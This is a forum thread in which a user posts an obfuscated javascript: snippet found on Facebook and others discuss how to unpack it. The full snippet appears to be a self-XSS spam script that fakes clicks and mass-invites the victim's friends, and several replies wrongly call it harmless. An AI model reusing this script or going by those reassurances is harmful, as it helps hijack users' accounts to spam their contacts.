Welcome Guest ( Log In | Register )

Outline · [ Standard ] · Linear+

 I found a weird code, Need help to understand

views
     
TSHeHeHunter
post May 12 2010, 12:58 PM, updated 16y ago

On my way
****
Senior Member
664 posts

Joined: Dec 2006
I found the following code:

CODE
javascript:(function(){a='app120434811312253_PShOAj';b='app120434811312253_bzhmqE';BzSCpg='app120434811312253_BzSCpg';pkRNTh='app120434811312253_pkRNTh';LBOLOw='app120434811312253_LBOLOw';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|LBOLOw|fs|SocialGraphManager|pkRNTh|BzSCpg|||||||'.split('|'),0,{}))})();        


Need help to understand.

I see some Hex codes here. This was found on facebook and I don't know what harm it may do.
koonming
post May 12 2010, 01:27 PM

Getting Started
**
Junior Member
53 posts

Joined: Aug 2005
From: Bandar Utama, Selangor, Malaysia


Hi,

This javascript is encoded. You will never understand it. Unless Decode it.

Regards,
koonming
TSHeHeHunter
post May 12 2010, 01:28 PM

On my way
****
Senior Member
664 posts

Joined: Dec 2006
QUOTE(koonming @ May 12 2010, 01:27 PM)
Hi,

This javascript is encoded. You will never understand it. Unless Decode it.

Regards,
koonming
*
But will it harm me, as in like keeping cookies etc...
koonming
post May 12 2010, 01:32 PM

Getting Started
**
Junior Member
53 posts

Joined: Aug 2005
From: Bandar Utama, Selangor, Malaysia


If it is in facebook itself. You can do anything beside dun access the site.

If you are site developer .. you have to be careful ..

There is a virus attacking you ftp account to admend the code to ur .php .html files. that is consider dangerous.
TSHeHeHunter
post May 12 2010, 01:44 PM

On my way
****
Senior Member
664 posts

Joined: Dec 2006
QUOTE(koonming @ May 12 2010, 01:32 PM)
If it is in facebook itself. You can do anything beside dun access the site.

If you are site developer .. you have to be careful ..

There is a virus attacking you ftp account to admend the code to ur .php .html files. that is consider dangerous.
*
Ah d.a.m.n... But before that, my anti-virus should be able to kill it right?
nyem
post May 12 2010, 02:31 PM

Enthusiast
*****
Senior Member
751 posts

Joined: Jan 2007


QUOTE(HeHeHunter @ May 12 2010, 01:44 PM)
Ah d.a.m.n... But before that, my anti-virus should be able to kill it right?
*
It's just javascript, should be harmless. You can create the same thing at http://dean.edwards.name/packer/

This
CODE
eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2(\'0 1!\');',3,3,'Hello|World|alert'.split('|'),0,{}))

is only
CODE
alert ('Hello World!');



TSHeHeHunter
post May 12 2010, 07:04 PM

On my way
****
Senior Member
664 posts

Joined: Dec 2006
QUOTE(nyem @ May 12 2010, 02:31 PM)
It's just javascript, should be harmless. You can create the same thing at http://dean.edwards.name/packer/

This
CODE
eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2(\'0 1!\');',3,3,'Hello|World|alert'.split('|'),0,{}))

is only
CODE
alert ('Hello World!');

*
Well, there's a packer there, but I can't seem to find an unpacker.
nyem
post May 12 2010, 09:48 PM

Enthusiast
*****
Senior Member
751 posts

Joined: Jan 2007


QUOTE(HeHeHunter @ May 12 2010, 07:04 PM)
Well, there's a packer there, but I can't seem to find an unpacker.
*
http://www.strictly-software.com/unpacker


JusticeDeserves
post May 12 2010, 10:08 PM

Regular
******
Senior Member
1,914 posts

Joined: Aug 2009


Use this to unpack the code:
http://jsbeautifier.org/
TSHeHeHunter
post May 13 2010, 01:30 AM

On my way
****
Senior Member
664 posts

Joined: Dec 2006
QUOTE(JusticeDeserves @ May 12 2010, 10:08 PM)
Use this to unpack the code:
http://jsbeautifier.org/
*
Thanks bro. Now I can sleep soundly.
Rowan
post May 14 2010, 12:30 PM

Getting Started
**
Junior Member
168 posts

Joined: Dec 2005
From: Singapore


I was wondering, what benefit to use packer to "encrypt" the javascript beside avoid being copied easily?
sunsuron
post May 14 2010, 01:29 PM

Regular
******
Senior Member
1,334 posts

Joined: Nov 2004



QUOTE(Rowan @ May 14 2010, 12:30 PM)
I was wondering, what benefit to use packer to "encrypt" the javascript beside avoid being copied easily?
*
Application that uses extensive of JavaScript framework will benefit from its smaller filesize especially combined with optimized webserver features such as Apache mod_gzip/mod_deflate etc (I personally use YUI compressor for this type of configuration). The drawbacks for us developer is that we will have 2 versions of these js files. One is the development version (full source codes without obfuscation) and an obfuscated/minified (live/production version) which we need to maintain both. What I usually do is in every 'JS' folder I have, there will be two subdirectory; 'min' (contains the minified version) and 'src' (contains the dev version).
nyem
post May 16 2010, 11:35 AM

Enthusiast
*****
Senior Member
751 posts

Joined: Jan 2007


I don't normally obfuscate my codes - they're already considered obfuscated when I come back 6 months later and I could not understand what I wrote mega_shok.gif
Currently I use Closure Compiler service to clean up my codes. It can even rewrite my codes as if I've hired some professional to do the coding for me brows.gif

Tullamarine
post Mar 25 2023, 07:54 PM

Getting Started
**
Validating
163 posts

Joined: Apr 2020
Thanks to junyian, can someone tell what is the correct deobfuscated string from below?

CODE
StrReverse(Join(Split("pepxpep.pcplpapcp", "p"),_
""))

nyem
post Mar 25 2023, 11:25 PM

Enthusiast
*****
Senior Member
751 posts

Joined: Jan 2007


CODE
"pepxpep.pcplpapcp".split('p').reverse().join('')
'calc.exe'

KLKS
post Mar 27 2023, 01:22 PM

Getting Started
**
Junior Member
292 posts

Joined: Jan 2003


use a JS compiler and beautifier
replace the eval with a console.log, take that output and beautify it, and you will get the decoded output.

https://pastebin.com/rTpvpcMC

nothing malicious i could see in it

and why are you bumping threads from 2010?

This post has been edited by KLKS: Mar 27 2023, 01:31 PM

 

Change to:
| Lo-Fi Version
0.0207sec    0.66    5 queries    GZIP Disabled
Time is now: 24th December 2025 - 06:43 AM